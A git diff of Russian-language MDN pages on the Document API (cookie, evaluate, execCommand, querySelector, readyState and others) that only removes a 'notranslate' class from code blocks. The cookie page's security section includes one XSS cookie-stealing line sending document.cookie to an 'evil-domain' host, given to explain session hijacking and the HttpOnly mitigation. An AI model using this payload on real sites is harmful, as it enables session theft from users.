diff options
Diffstat (limited to 'files/ru/web/api/document')
-rw-r--r-- | files/ru/web/api/document/cookie/index.html | 42 | ||||
-rw-r--r-- | files/ru/web/api/document/evaluate/index.html | 6 | ||||
-rw-r--r-- | files/ru/web/api/document/execcommand/index.html | 4 | ||||
-rw-r--r-- | files/ru/web/api/document/head/index.html | 4 | ||||
-rw-r--r-- | files/ru/web/api/document/queryselector/index.html | 8 | ||||
-rw-r--r-- | files/ru/web/api/document/readystate/index.html | 8 | ||||
-rw-r--r-- | files/ru/web/api/document/scroll_event/index.html | 2 |
7 files changed, 37 insertions, 37 deletions
diff --git a/files/ru/web/api/document/cookie/index.html b/files/ru/web/api/document/cookie/index.html index fa6153145c..4d8ddfdc83 100644 --- a/files/ru/web/api/document/cookie/index.html +++ b/files/ru/web/api/document/cookie/index.html @@ -17,13 +17,13 @@ translation_of: Web/API/Document/cookie <h3 id="Чтение_всех_cookies_связанных_с_текущим_документом">Чтение всех cookies, связанных с текущим документом</h3> -<pre class="syntaxbox notranslate"><em>allCookies</em> = <em>document</em>.cookie;</pre> +<pre class="syntaxbox"><em>allCookies</em> = <em>document</em>.cookie;</pre> <p>In the code above <var>allCookies</var> is a string containing a semicolon-separated list of all cookies (i.e. <code><var>key</var>=<var>value</var></code> pairs). Note that each <var>key</var> and <var>value</var> may be surrounded by whitespace (space and tab characters): in fact <a href="https://tools.ietf.org/html/rfc6265">RFC 6265</a> mandates a single space after each semicolon, but some user agents may not abide by this.</p> <h3 id="Запись_новой_cookie">Запись новой cookie</h3> -<pre class="syntaxbox notranslate" id="new-cookie_syntax"><em>document</em>.cookie = <em>newCookie</em>;</pre> +<pre class="syntaxbox" id="new-cookie_syntax"><em>document</em>.cookie = <em>newCookie</em>;</pre> <p>В приведённом коде <code>newCookie</code> - строка в виде <code><em>key</em>=<em>value</em></code><em>. </em>Заметьте, у вас есть возможность установить/обновить лишь одну связку <code><em>key</em>=<em>value</em></code> за один раз, используя этот метод. Стоит отметить, что:</p> @@ -86,21 +86,21 @@ translation_of: Web/API/Document/cookie <h3 id="Пример_1_Простое_использование">Пример #1: Простое использование</h3> -<pre class="brush: js notranslate">document.cookie = "name=oeschger"; +<pre class="brush: js">document.cookie = "name=oeschger"; document.cookie = "favorite_food=tripe"; function alertCookie() { alert(document.cookie); } </pre> -<pre class="brush: html notranslate"><button onclick="alertCookie()">Show cookies</button> +<pre class="brush: html"><button onclick="alertCookie()">Show cookies</button> </pre> <p>{{EmbedLiveSample('Пример_1_Простое_использование', 200, 36)}}</p> <h3 id="Пример_2_Получить_cookie_с_именем_test2">Пример #2: Получить cookie с именем <em>test2</em></h3> -<pre class="brush: js notranslate">document.cookie = "test1=Hello"; +<pre class="brush: js">document.cookie = "test1=Hello"; document.cookie = "test2=World"; var cookieValue = document.cookie.replace(/(?:(?:^|.*;\s*)test2\s*\=\s*([^;]*).*$)|^.*$/, "$1"); @@ -110,7 +110,7 @@ function alertCookieValue() { } </pre> -<pre class="brush: html notranslate"><button onclick="alertCookieValue()">Show cookie value</button></pre> +<pre class="brush: html"><button onclick="alertCookieValue()">Show cookie value</button></pre> <p>{{EmbedLiveSample('Пример_2_Получить_cookie_с_именем_test2', 200, 36)}}</p> @@ -118,30 +118,30 @@ function alertCookieValue() { <p>При использовании следующего кода замените все вхождения <code>doSomethingOnlyOnce</code> (наименование cookie) на другое имя.</p> -<pre class="brush: js notranslate">function doOnce() { +<pre class="brush: js">function doOnce() { if (document.cookie.replace(/(?:(?:^|.*;\s*)doSomethingOnlyOnce\s*\=\s*([^;]*).*$)|^.*$/, "$1") !== "true") { alert("Do something here!"); document.cookie = "doSomethingOnlyOnce=true; expires=Fri, 31 Dec 9999 23:59:59 GMT"; } }</pre> -<pre class="brush: html notranslate"><button onclick="doOnce()">Only do something once</button></pre> +<pre class="brush: html"><button onclick="doOnce()">Only do something once</button></pre> <p>{{EmbedLiveSample('Пример_3_Выполнить_операцию_единожды', 200, 36)}}</p> <h3 id="Пример_4_Перезагрузить_cookie">Пример #4: Перезагрузить cookie</h3> -<pre class="brush: js notranslate">function resetOnce() { +<pre class="brush: js">function resetOnce() { document.cookie = "doSomethingOnlyOnce=; expires=Thu, 01 Jan 1970 00:00:00 GMT"; }</pre> -<pre class="brush: html notranslate"><button onclick="resetOnce()">Reset only once cookie</button></pre> +<pre class="brush: html"><button onclick="resetOnce()">Reset only once cookie</button></pre> <p>{{EmbedLiveSample('Пример_4_Перезагрузить_cookie', 200, 36)}}</p> <h3 id="Example_5_Проверить_существование_cookie">Example #5: Проверить существование cookie</h3> -<pre class="notranslate"><code>//ES5 +<pre><code>//ES5 if (document.cookie.split(';').filter(function(item) { return item.trim().indexOf('reader=') == 0 @@ -157,7 +157,7 @@ if (document.cookie.split(';').filter((item) => item.trim().startsWith('reade <h3 id="Example_6_Проверить_что_cookie_имеет_определённое_значение">Example #6: Проверить, что cookie имеет определённое значение</h3> -<pre class="notranslate"><code>//ES5 +<pre><code>//ES5 if (document.cookie.split(';').filter(function(item) { return item.indexOf('reader=1') >= 0 @@ -177,7 +177,7 @@ if (document.cookie.split(';').filter((item) => item.includes('reader=1')).le <p>Cookies are often used in web application to identify a user and their authenticated session. So stealing cookie from a web application, will lead to hijacking the authenticated user's session. Common ways to steal cookies include using Social Engineering or by exploiting an XSS vulnerability in the application -</p> -<pre class="brush: js notranslate">(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie; +<pre class="brush: js">(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie; </pre> <p>The HTTPOnly cookie attribute can help to mitigate this attack by preventing access to cookie value through Javascript. Read more about <a class="external" href="http://www.nczonline.net/blog/2009/05/12/cookies-and-security/">Cookies and Security</a>.</p> @@ -195,7 +195,7 @@ if (document.cookie.split(';').filter((item) => item.includes('reader=1')).le <h5 id="The_server_tells_the_client_to_store_a_cookie">The server tells the client to store a cookie</h5> -<pre class="eval notranslate">HTTP/1.0 200 OK +<pre class="eval">HTTP/1.0 200 OK Content-type: text/html Set-Cookie: cookie_name1=cookie_value1 Set-Cookie: cookie_name2=cookie_value2; expires=Sun, 16 Jul 3567 06:23:41 GMT @@ -204,7 +204,7 @@ Set-Cookie: cookie_name2=cookie_value2; expires=Sun, 16 Jul 3567 06:23:41 GMT <h5 id="The_client_sends_back_to_the_server_its_cookies_previously_stored">The client sends back to the server its cookies previously stored</h5> -<pre class="eval notranslate">GET /sample_page.html HTTP/1.1 +<pre class="eval">GET /sample_page.html HTTP/1.1 Host: www.example.org Cookie: cookie_name1=cookie_value1; cookie_name2=cookie_value2 Accept: */* @@ -216,7 +216,7 @@ Accept: */* <h5 id="Library">Library</h5> -<pre class="brush: js notranslate">/*\ +<pre class="brush: js">/*\ |*| |*| :: Translate relative paths to absolute paths :: |*| @@ -239,7 +239,7 @@ function relPathToAbs (sRelPath) { <h5 id="Sample_usage">Sample usage</h5> -<pre class="brush: js notranslate">/* Let us be in /en-US/docs/Web/API/document.cookie */ +<pre class="brush: js">/* Let us be in /en-US/docs/Web/API/document.cookie */ alert(location.pathname); // displays: /en-US/docs/Web/API/document.cookie @@ -260,7 +260,7 @@ alert(relPathToAbs("../Guide/././API/../../../Firefox")); <p>If you don't want to use an <em>absolute date</em> for the <code>end</code> parameter, here you can find some numeric examples of expiration-dates <em>relative to the moment of storage of the cookie</em>:</p> -<pre class="brush: js notranslate">docCookies.setItem("mycookie1", "myvalue1", 864e2, "/"); // this cookie will expire in one DAY +<pre class="brush: js">docCookies.setItem("mycookie1", "myvalue1", 864e2, "/"); // this cookie will expire in one DAY docCookies.setItem("mycookie2", "myvalue2", 6048e2, "/"); // this cookie will expire in one WEEK docCookies.setItem("mycookie3", "myvalue3", 2592e3, "/"); // this cookie will expire in one MONTH (30 days) docCookies.setItem("mycookie4", "myvalue4", 31536e3, "/"); // this cookie will expire in one YEAR</pre> @@ -271,7 +271,7 @@ docCookies.setItem("mycookie4", "myvalue4", 31536e3, "/"); // this cookie will e <h4 id="Библиотека">Библиотека</h4> -<pre class="notranslate"><code>function executeOnce () { +<pre><code>function executeOnce () { var argc = arguments.length, bImplGlob = typeof arguments[argc - 1] === "string"; if (bImplGlob) { argc++; } if (argc < 3) { throw new TypeError("executeOnce - not enough arguments"); } @@ -286,7 +286,7 @@ docCookies.setItem("mycookie4", "myvalue4", 31536e3, "/"); // this cookie will e <h4 id="Синтаксис_2">Синтаксис</h4> -<pre class="notranslate">executeOnce(<var>callback</var>[, <var>thisObject</var>[, <var>argumentToPass1</var>[, <var>argumentToPass2</var>[, …[, <var>argumentToPassN</var>]]]]], <var>identifier</var>[, <var>onlyHere</var>])</pre> +<pre>executeOnce(<var>callback</var>[, <var>thisObject</var>[, <var>argumentToPass1</var>[, <var>argumentToPass2</var>[, …[, <var>argumentToPassN</var>]]]]], <var>identifier</var>[, <var>onlyHere</var>])</pre> <h4 id="Описание">Описание</h4> @@ -309,7 +309,7 @@ docCookies.setItem("mycookie4", "myvalue4", 31536e3, "/"); // this cookie will e <h4 id="Примеры_использования">Примеры использования</h4> -<pre class="notranslate"><code>function alertSomething (sMsg) { +<pre><code>function alertSomething (sMsg) { alert(sMsg); } diff --git a/files/ru/web/api/document/evaluate/index.html b/files/ru/web/api/document/evaluate/index.html index d2839a3bc1..ec48166876 100644 --- a/files/ru/web/api/document/evaluate/index.html +++ b/files/ru/web/api/document/evaluate/index.html @@ -9,7 +9,7 @@ translation_of: Web/API/Document/evaluate <h2 id="Syntax">Синтаксис</h2> -<pre class="syntaxbox notranslate">var xpathResult = document.evaluate( +<pre class="syntaxbox">var xpathResult = document.evaluate( xpathExpression, contextNode, namespaceResolver, @@ -27,7 +27,7 @@ translation_of: Web/API/Document/evaluate <h2 id="Example">Пример</h2> -<pre class="brush: js notranslate">var headings = document.evaluate("/html/body//h2", document, null, XPathResult.ANY_TYPE, null); +<pre class="brush: js">var headings = document.evaluate("/html/body//h2", document, null, XPathResult.ANY_TYPE, null); /* Найти в документе все элементы h2 * В качестве результата будет получен узловой итератор. */ var thisHeading = headings.iterateNext(); @@ -43,7 +43,7 @@ alert(alertText); // Показывает alert со всеми найденны <p>Further optimization can be achieved by careful use of the context parameter. For example, if you know the content you are looking for is somewhere inside the body tag, you can use this:</p> -<pre class="brush: js notranslate">document.evaluate(".//h2", document.body, null, XPathResult.ANY_TYPE, null); +<pre class="brush: js">document.evaluate(".//h2", document.body, null, XPathResult.ANY_TYPE, null); </pre> <p>Notice in the above <code>document.body</code> has been used as the context instead of <code>document</code> so the XPath starts from the body element. (In this example, the <code>"."</code> is important to indicate that the querying should start from the context node, document.body. If the "." was left out (leaving <code>//h2</code>) the query would start from the root node (<code>html</code>) which would be more wasteful.)</p> diff --git a/files/ru/web/api/document/execcommand/index.html b/files/ru/web/api/document/execcommand/index.html index d89c32ba30..ff6d160278 100644 --- a/files/ru/web/api/document/execcommand/index.html +++ b/files/ru/web/api/document/execcommand/index.html @@ -17,7 +17,7 @@ translation_of: Web/API/Document/execCommand <h2 id="Syntax">Синтаксис</h2> -<pre class="brush: js notranslate">execCommand(String aCommandName, Boolean aShowDefaultUI, String aValueArgument) +<pre class="brush: js">execCommand(String aCommandName, Boolean aShowDefaultUI, String aValueArgument) </pre> <h3 id="Аргументы">Аргументы</h3> @@ -267,7 +267,7 @@ translation_of: Web/API/Document/execCommand <h2 id="Example">Пример</h2> -<pre class="notranslate"><code>iframeNode</code>.execCommand("bold"); // Жирный текст +<pre><code>iframeNode</code>.execCommand("bold"); // Жирный текст <code>iframeNode</code>.execCommand("undo"); // Отмена последнего действия <code>iframeNode</code>.execCommand("insertText", false, "Lorem ipsum dolor sit amet, consectetur adipisicing elit."); // Вставка текста </pre> diff --git a/files/ru/web/api/document/head/index.html b/files/ru/web/api/document/head/index.html index 85fdcb7b64..78c09b0450 100644 --- a/files/ru/web/api/document/head/index.html +++ b/files/ru/web/api/document/head/index.html @@ -13,7 +13,7 @@ translation_of: Web/API/Document/head <h2 id="Syntax">Синтаксис</h2> -<pre class="syntaxbox notranslate"><em>var objRef</em> = document.head; +<pre class="syntaxbox"><em>var objRef</em> = document.head; </pre> @@ -26,7 +26,7 @@ translation_of: Web/API/Document/head <h2 id="Пример">Пример</h2> -<pre class="notranslate"><code><!doctype html> +<pre><code><!doctype html> <head id="my-document-head"> <title>Example: using document.head</title> </head> diff --git a/files/ru/web/api/document/queryselector/index.html b/files/ru/web/api/document/queryselector/index.html index 1202819d7c..0f2dbb4229 100644 --- a/files/ru/web/api/document/queryselector/index.html +++ b/files/ru/web/api/document/queryselector/index.html @@ -22,7 +22,7 @@ translation_of: Web/API/Document/querySelector <h2 id="Syntax">Синтаксис</h2> -<pre class="brush: js notranslate">element = document.querySelector(selectors); +<pre class="brush: js">element = document.querySelector(selectors); </pre> <h3 id="Параметры">Параметры</h3> @@ -59,7 +59,7 @@ translation_of: Web/API/Document/querySelector <p>Чтобы сопоставить ID или селекторы, которые не соответствуют стандартному синтаксису CSS (например, использующих ненадлежащим образом двоеточие или пробел), необходимо экранировать символ обратной косой чертой ("<code>\</code>"). Поскольку обратная косая черта также является экранирующим символом в JavaScript, то при вводе литеральной строки необходимо экранировать её <em>дважды</em> (первый раз для строки JavaScript и второй для <code>querySelector()</code>):</p> -<pre class="brush: html notranslate"><div id="foo\bar"></div> +<pre class="brush: html"><div id="foo\bar"></div> <div id="foo:bar"></div> <script> @@ -80,14 +80,14 @@ translation_of: Web/API/Document/querySelector <p>В этом примере, нам вернётся первый элемент в документе с классом "<code>myclass</code>":</p> -<pre class="brush: js notranslate">var el = document.querySelector(".myclass"); +<pre class="brush: js">var el = document.querySelector(".myclass"); </pre> <h3 id="Notes">Более сложный селектор</h3> <p>Селекторы, передаваемые в querySelector, могут быть использованы и для точного поиска, как показано в примере ниже. В данном примере возвращается элемент <input name="login"/>, находящийся в <div class="user-panel main">:</p> -<pre class="brush: js notranslate">var el = document.querySelector("div.user-panel.main input[name=login]"); +<pre class="brush: js">var el = document.querySelector("div.user-panel.main input[name=login]"); </pre> <h2 id="Спецификации">Спецификации</h2> diff --git a/files/ru/web/api/document/readystate/index.html b/files/ru/web/api/document/readystate/index.html index fee81eb14b..050cbbf190 100644 --- a/files/ru/web/api/document/readystate/index.html +++ b/files/ru/web/api/document/readystate/index.html @@ -16,7 +16,7 @@ translation_of: Web/API/Document/readyState <h2 id="Синтаксис">Синтаксис</h2> -<pre class="notranslate">var <var>string</var> = <var>document</var>.readyState;</pre> +<pre>var <var>string</var> = <var>document</var>.readyState;</pre> <h3 id="Значения">Значения</h3> @@ -37,7 +37,7 @@ translation_of: Web/API/Document/readyState <h3 id="Разные_состояния_загрузки_страницы">Разные состояния загрузки страницы</h3> -<pre class="brush: js notranslate"><span>switch (document.readyState) { +<pre class="brush: js"><span>switch (document.readyState) { case "loading": // Страница все ещё загружается break; @@ -56,7 +56,7 @@ translation_of: Web/API/Document/readyState <h3 id="readystatechange_как_альтернатива_событию_DOMContentLoaded">readystatechange как альтернатива событию DOMContentLoaded</h3> -<pre class="brush:js notranslate">// альтернатива событию DOMContentLoaded +<pre class="brush:js">// альтернатива событию DOMContentLoaded document.onreadystatechange = function () { if (document.readyState == "interactive") { initApplication(); @@ -65,7 +65,7 @@ document.onreadystatechange = function () { <h3 id="readystatechange_как_альтернатива_событию_load">readystatechange как альтернатива событию load</h3> -<pre class="brush: js notranslate">// альтернатива событию load +<pre class="brush: js">// альтернатива событию load document.onreadystatechange = function () { if (document.readyState == "complete") { initApplication(); diff --git a/files/ru/web/api/document/scroll_event/index.html b/files/ru/web/api/document/scroll_event/index.html index 5b50a26c31..ec8d9fd4a2 100644 --- a/files/ru/web/api/document/scroll_event/index.html +++ b/files/ru/web/api/document/scroll_event/index.html @@ -50,7 +50,7 @@ translation_of: Web/API/Document/scroll_event <p>Обратите внимание, однако, что входные события и кадры анимации запускаются примерно с одинаковой скоростью, и поэтому приведённая ниже оптимизация зачастую не требуется. В примере ниже оптимизируется событие <code>scroll</code> для <code>requestAnimationFrame</code>:</p> -<pre class="brush: js notranslate">// Источник: http://www.html5rocks.com/en/tutorials/speed/animations/ +<pre class="brush: js">// Источник: http://www.html5rocks.com/en/tutorials/speed/animations/ let last_known_scroll_position = 0; let ticking = false; |